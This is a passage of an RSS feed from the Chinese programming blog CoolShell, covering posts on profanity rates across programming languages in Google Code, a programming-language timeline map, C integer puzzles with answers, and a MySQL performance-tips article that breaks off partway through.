decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1851\" title=\"Google Code 中程序语言出现 fuck 一词的比率\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language.jpg\" alt=\"Google Code 中程序语言出现 fuck 一词的比率\" width=\"543\" height=\"303\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language.jpg 543w, https://coolshell.cn/wp-content/uploads/2009/11/programming_language-300x167.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/11/programming_language-360x200.jpg 360w, https://coolshell.cn/wp-content/uploads/2009/11/programming_language-484x270.jpg 484w\" sizes=\"(max-width: 543px) 100vw, 543px\" /></p>\n<p style=\"text-align: left;\">相关的数据表格如下：</p>\n<p style=\"text-align: left;\"><span id=\"more-1850\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1852\" title=\"Google Code 中程序语言出现 fuck 一词的比率\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language_table.jpg\" alt=\"Google Code 中程序语言出现 fuck 一词的比率\" width=\"262\" height=\"225\" /></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1850.html\">Javascript程序员嘴最脏??</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1850.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>86</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程语言时间地理图</title>\n\t\t<link>https://coolshell.cn/articles/1863.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1863.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 29 Nov 2009 23:33:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1863</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 有人使用Google Map做了一个网页，把所有编程语言的时间线和地理位置，如下图，上面是一个编程语言的时间轴，下面是Google Map地图，点击编程语言，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1863.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1863.html\">编程语言时间地理图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\"> 有人使用Google Map做了一个<a href=\"http://www.geospat.com/hoprola/\" target=\"_blank\">网页</a>，把所有编程语言的时间线和地理位置，如下图，上面是一个编程语言的时间轴，下面是Google Map地图，点击编程语言，你可以查看该编程语言的发明者，发明地，和其Hello World示例（点击<a href=\"https://coolshell.cn/articles/169.html\" target=\"_blank\">这里</a>查看更多的Hello World）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.geospat.com/hoprola/\" target=\"_blank\"><strong>http://www.geospat.com/hoprola/</strong></a><br />\n<a href=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language_timeline.jpg\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" title=\"编程语言时间地理图（点击看大图）\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language_timeline.jpg\" alt=\"编程语言时间地理图\" width=\"1013\" height=\"606\" /></a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1861\" title=\"JavaScript 的发明者，发明地和示例\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language_timeline_javascript.jpg\" alt=\"JavaScript 的发明者，发明地和示例\" width=\"330\" height=\"297\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language_timeline_javascript.jpg 330w, https://coolshell.cn/wp-content/uploads/2009/11/programming_language_timeline_javascript-300x270.jpg 300w\" sizes=\"(max-width: 330px) 100vw, 330px\" /></p>\n<p style=\"text-align: center;\">（点击小星，可以看到语言的发明者和示例）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li><li ><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"五个编程语言设计的失误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_title\">五个编程语言设计的失误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1863.html\">编程语言时间地理图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1863.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C 语言整型谜题</title>\n\t\t<link>https://coolshell.cn/articles/1857.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1857.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[joe]]></dc:creator>\n\t\t<pubDate>Sat, 28 Nov 2009 16:45:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[整型]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1857</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如题，此篇文章是描述C语言中的整数谜题。 假定机器字长是32位的，用2的补码表示整数。对以下C表达式，请问它们在所有情况下都正确吗？如果不是，请给出反例。 初始...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1857.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1857.html\">C 语言整型谜题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如题，此篇文章是描述C语言中的整数谜题。</p>\n<p>假定机器字长是32位的，用2的补码表示整数。对以下C表达式，请问它们在所有情况下都正确吗？如果不是，请给出反例。</p>\n<p>初始化：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int x = foo();\nint y = bar();\nunsigned ux = x;\nunsigned uy = y;</pre>\n<p>1. 若x &lt; 0, 则x * 2 &lt; 0</p>\n<p>2. ux &gt;= 0</p>\n<p>3. 若x &amp; 7 == 7， 则(x &lt;&lt; 30) &lt; 0</p>\n<p>4. ux &gt; -1</p>\n<p>5. 若x &gt; y, 则-x &lt; -y</p>\n<p>6. x * x &gt;= 0</p>\n<p>7. 若x &gt; 0 &amp;&amp; y &gt; 0, 则x + y &gt; 0</p>\n<p>8. 若x &gt;= 0, 则-x &lt;= 0</p>\n<p>9. 若x &lt;= 0, 则-x &gt;= 0</p>\n<p>答案如下：</p>\n<p><span id=\"more-1857\"></span></p>\n<p>1. 错。当x = INT_MIN</p>\n<p>2. 正确。</p>\n<p>3. 正确。</p>\n<p>4. 错。-1被转换成UINT_MAX</p>\n<p>5. 错。当x = -1, y = INT_MIN</p>\n<p>6. 错。当x = 65535</p>\n<p>7. 错。INT_MAX 和 INT_MAX</p>\n<p>8. 正确。</p>\n<p>9. 错。INT_MIN<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1857.html\">C 语言整型谜题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1857.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>MySQL性能优化的最佳20+条经验</title>\n\t\t<link>https://coolshell.cn/articles/1846.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1846.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 27 Nov 2009 10:57:33 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[Database]]></category>\n\t\t<category><![CDATA[MySQL]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1846</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天，数据库的操作越来越成为整个应用的性能瓶颈了，这点对于Web应用尤其明显。关于数据库的性能，这并不只是DBA才需要担心的事，而这更是我们程序员需要去关注的事...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1846.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>今天，数据库的操作越来越成为整个应用的性能瓶颈了，这点对于Web应用尤其明显。关于数据库的性能，这并不只是DBA才需要担心的事，而这更是我们程序员需要去关注的事情。当我们去设计数据库表结构，对操作数据库时（尤其是查表时的SQL语句），我们都需要注意数据操作的性能。这里，我们不会讲过多的SQL语句的优化，而只是针对MySQL这一Web应用最多的数据库。希望下面的这些优化技巧对你有用。</p>\n<h4>1. 为查询缓存优化你的查询</h4>\n<p>大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一，而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候，这些查询结果会被放到一个缓存中，这样，后续的相同的查询就不用操作表而直接访问缓存结果了。</p>\n<p>这里最主要的问题是，对于程序员来说，这个事情是很容易被忽略的。因为，我们某些查询语句会让MySQL不使用缓存。请看下面的示例：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 查询缓存不开启\n$r = mysql_query(&quot;SELECT username FROM user WHERE signup_date &gt;= CURDATE()&quot;);\n\n// 开启查询缓存\n$today = date(&quot;Y-m-d&quot;);\n$r = mysql_query(&quot;SELECT username FROM user WHERE signup_date &gt;= &#039;$today&#039;&quot;);\n</pre>\n<p>上面两条SQL语句的差别就是 CURDATE() ，MySQL的查询缓存对这个函数不起作用。所以，像 NOW() 和 RAND() 或是其它的诸如此类的SQL函数都不会开启查询缓存，因为这些函数的返回是会不定的易变的。所以，你所需要的就是用一个变量来代替MySQL的函数，从而开启缓存。</p>\n<p><span id=\"more-1846\"></span></p>\n<h4>2. EXPLAIN 你的 SELECT 查询</h4>\n<p>使用 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/explain.html\" target=\"_blank\">EXPLAIN</a> 关键字可以让你知道MySQL是如何处理你的SQL语句的。这可以帮你分析你的查询语句或是表结构的性能瓶颈。</p>\n<p>EXPLAIN 的查询结果还会告诉你你的索引主键被如何利用的，你的数据表是如何被搜索和排序的……等等，等等。</p>\n<p>挑一个你的SELECT语句（推荐挑选那个最复杂的，有多表联接的），把关键字EXPLAIN加到前面。你可以使用phpmyadmin来做这个事。然后，你会看到一张表格。下面的这个示例中，我们忘记加上了group_id索引，并且有表联接：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/unoptimized_explain.jpg\" border=\"0\" alt=\"\" /></div>\n<p>当我们为 group_id 字段加上索引后：</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/optimized_explain.jpg\" border=\"0\" alt=\"\" /></div>\n<p>我们可以看到，前一个结果显示搜索了 7883 行，而后一个只是搜索了两个表的 9 和 16 行。查看rows列可以让我们找到潜在的性能问题。</p>\n<h4>3. 当只要一行数据时使用 LIMIT 1</h4>\n<p>当你查询表的有些时候，你已经知道结果只会有一条结果，但因为你可能需要去fetch游标，或是你也许会去检查返回的记录数。</p>\n<p>在这种情况下，加上 LIMIT 1 可以增加性能。这样一样，MySQL数据库引擎会在找到一条数据后停止搜索，而不是继续往后查少下一条符合记录的数据。</p>\n<p>下面的示例，只是为了找一下是否有“中国”的用户，很明显，后面的会比前面的更有效率。（请注意，第一条中是Select *，第二条是Select 1）</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n\n// 没有效率的：\n$r = mysql_query(&quot;SELECT * FROM user WHERE country = &#039;China&#039;&quot;);\nif (mysql_num_rows($r) &gt; 0) {\n\t// ...\n}\n\n// 有效率的：\n$r = mysql_query(&quot;SELECT 1 FROM user WHERE country = &#039;China&#039; LIMIT 1&quot;);\nif (mysql_num_rows($r) &gt; 0) {\n\t// ...\n}\n</pre>\n<h4>4. 为搜索字段建索引</h4>\n<p>索引并不一定就是给主键或是唯一的字段。如果在你的表中，有某个字段你总要会经常用来做搜索，那么，请为其建立索引吧。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/search_index.jpg\" border=\"0\" alt=\"\" /></div>\n<p>从上图你可以看到那个搜索字串 &#8220;last_name LIKE &#8216;a%'&#8221;，一个是建了索引，一个是没有索引，性能差了4倍左右。</p>\n<p>另外，你应该也需要知道什么样的搜索是不能使用正常的索引的。例如，当你需要在一篇大的文章中搜索一个词时，如： &#8220;WHERE post_content LIKE &#8216;%apple%'&#8221;，索引可能是没有意义的。你可能需要使用<a href=\"http://dev.mysql.com/doc/refman/5.1/en/fulltext-search.html\" target=\"_blank\">MySQL全文索引</a> 或是自己做一个索引（比如说：搜索关键词或是Tag什么的）</p>\n<h4>5. 在Join表的时候使用相当类型的例，并将其索引</h4>\n<p>如果你的应用程序有很多 JOIN 查询，你应该确认两个表中Join的字段是被建过索引的。这样，MySQL内部会启动为你优化Join的SQL语句的机制。</p>\n<p>而且，这些被用来Join的字段，应该是相同的类型的。例如：如果你要把 DECIMAL 字段和一个 INT 字段Join在一起，MySQL就无法使用它们的索引。对于那些STRING类型，还需要有相同的字符集才行。（两个表的字符集有可能不一样）</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 在state中查找company\n$r = mysql_query(&quot;SELECT company_name FROM users\n\tLEFT JOIN companies ON (users.state = companies.state)\n\tWHERE users.id = $user_id&quot;);\n\n// 两个 state 字段应该是被建过索引的，而且应该是相当的类型，相同的字符集。\n</pre>\n<h4>6. 千万不要 ORDER BY RAND()</h4>\n<p>想打乱返回的数据行？随机挑一个数据？真不知道谁发明了这种用法，但很多新手很喜欢这样用。但你确不了解这样做有多么可怕的性能问题。</p>\n<p>如果你真的想把返回的数据行打乱了，你有N种方法可以达到这个目的。这样使用只让你的数据库的性能呈指数级的下降。这里的问题是：MySQL会不得不去执行RAND()函数（很耗CPU时间），而且这是为了每一行记录去记行，然后再对其排序。就算是你用了Limit 1也无济于事（因为要排序）</p>\n<p>下面的示例是随机挑一条记录</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 千万不要这样做：\n$r = mysql_query(&quot;SELECT username FROM user ORDER BY RAND() LIMIT 1&quot;);\n\n// 这要会更好：\n$r = mysql_query(&quot;SELECT count(*) FROM user&quot;);\n$d = mysql_fetch_row($r);\n$rand = mt_rand(0,$d[0] - 1);\n\n$r = mysql_query(&quot;SELECT username FROM user LIMIT $rand, 1&quot;);\n</pre>\n<h4>7. 避免 SELECT *</h4>\n<p>从数据库里读出越多的数据，那么查询就会变得越慢。并且，如果你的数据库服务器和WEB服务器是两台独立的服务器的话，这还会增加网络传输的负载。</p>\n<p>所以，你应该养成一个需要什么就取什么的好的习惯。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 不推荐\n$r = mysql_query(&quot;SELECT * FROM user WHERE user_id = 1&quot;);\n$d = mysql_fetch_assoc($r);\necho &quot;Welcome {$d[&#039;username&#039;]}&quot;;\n\n// 推荐\n$r = mysql_query(&quot;SELECT username FROM user WHERE user_id = 1&quot;);\n$d = mysql_fetch_assoc($r);\necho &quot;Welcome {$d[&#039;username&#039;]}&quot;;\n</pre>\n<h4>8. 永远为每张表设置一个ID</h4>\n<p>我们应该为数据库里的每张表都设置一个ID做为其主键，而且最好的是一个INT型的（推荐使用UNSIGNED），并设置上自动增加的AUTO_INCREMENT标志。</p>\n<p>就算是你 users 表有一个主键叫 “email”的字段，你也别让它成为主键。使用 VARCHAR 类型来当主键会使用得性能下降。另外，在你的程序中，你应该使用表的ID来构造你的数据结构。</p>\n<p>而且，在MySQL数据引擎下，还有一些操作需要使用主键，在这些情况下，主键的性能和设置变得非常重要，比如，集群，分区……</p>\n<p>在这里，只有一个情况是例外，那就是“关联表”的“外键”，也就是说，这个表的主键，通过若干个别的表的主键构成。我们把这个情况叫做“外键”。比如：有一个“学生表”有学生的ID，有一个“课程表”有课程ID，那么，“成绩表”就是“关联表”了，其关联了学生表和课程表，在成绩表中，学生ID和课程ID叫“外键”其共同组成主键。</p>\n<h4>9. 使用 ENUM 而不是 VARCHAR</h4>\n<p><a href=\"http://dev.mysql.com/doc/refman/5.0/en/enum.html\" target=\"_blank\">ENUM</a> 类型是非常快和紧凑的。在实际上，其保存的是 TINYINT，但其外表上显示为字符串。这样一来，用这个字段来做一些选项列表变得相当的完美。</p>\n<p>如果你有一个字段，比如“性别”，“国家”，“民族”，“状态”或“部门”，你知道这些字段的取值是有限而且固定的，那么，你应该使用 ENUM 而不是 VARCHAR。</p>\n<p>MySQL也有一个“建议”（见第十条）告诉你怎么去重新组织你的表结构。当你有一个 VARCHAR 字段时，这个建议会告诉你把其改成 ENUM 类型。使用 PROCEDURE ANALYSE() 你可以得到相关的建议。</p>\n<h4>10. 从 PROCEDURE ANALYSE() 取得建议</h4>\n<p><a href=\"http://dev.mysql.com/doc/refman/5.0/en/procedure-analyse.html\" target=\"_blank\">PROCEDURE ANALYSE()</a> 会让 MySQL 帮你去分析你的字段和其实际的数据，并会给你一些有用的建议。只有表中有实际的数据，这些建议才会变得有用，因为要做一些大的决定是需要有数据作为基础的。</p>\n<p>例如，如果你创建了一个 INT 字段作为你的主键，然而并没有太多的数据，那么，PROCEDURE ANALYSE()会建议你把这个字段的类型改成 MEDIUMINT 。或是你使用了一个 VARCHAR 字段，因为数据不多，你可能会得到一个让你把它改成 ENUM 的建议。这些建议，都是可能因为数据不够多，所以决策做得就不够准。</p>\n<p>在phpmyadmin里，你可以在查看表时，点击 &#8220;Propose table structure&#8221; 来查看这些建议</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/500_mysql/suggestions.jpg\" border=\"0\" alt=\"\" /></div>\n<p>一定要注意，这些只是建议，只有当你的表里的数据越来越多时，这些建议才会变得准确。一定要记住，你才是最终做决定的人。</p>\n<h4>11. 尽可能的使用 NOT NULL</h4>\n<p>除非你有一个很特别的原因去使用 NULL 值，你应该总是让你的字段保持 NOT NULL。这看起来好像有点争议，请往下看。</p>\n<p>首先，问问你自己“Empty”和“NULL”有多大的区别（如果是INT，那就是0和NULL）？如果你觉得它们之间没有什么区别，那么你就不要使用NULL。（你知道吗？在 Oracle 里，NULL 和 Empty 的字符串是一样的！)</p>\n<p>不要以为 NULL 不需要空间，其需要额外的空间，并且，在你进行比较的时候，你的程序会更复杂。 当然，这里并不是说你就不能使用NULL了，现实情况是很复杂的，依然会有些情况下，你需要使用NULL值。</p>\n<p>下面摘自MySQL自己的文档：</p>\n<blockquote><p>&#8220;NULL columns require additional space in the row to record whether their values are NULL. For MyISAM tables, each NULL column takes one bit extra, rounded up to the nearest byte.&#8221;</p></blockquote>\n<h4>12. Prepared Statements</h4>\n<p>Prepared Statements很像存储过程，是一种运行在后台的SQL语句集合，我们可以从使用 prepared statements 获得很多好处，无论是性能问题还是安全问题。</p>\n<p>Prepared Statements 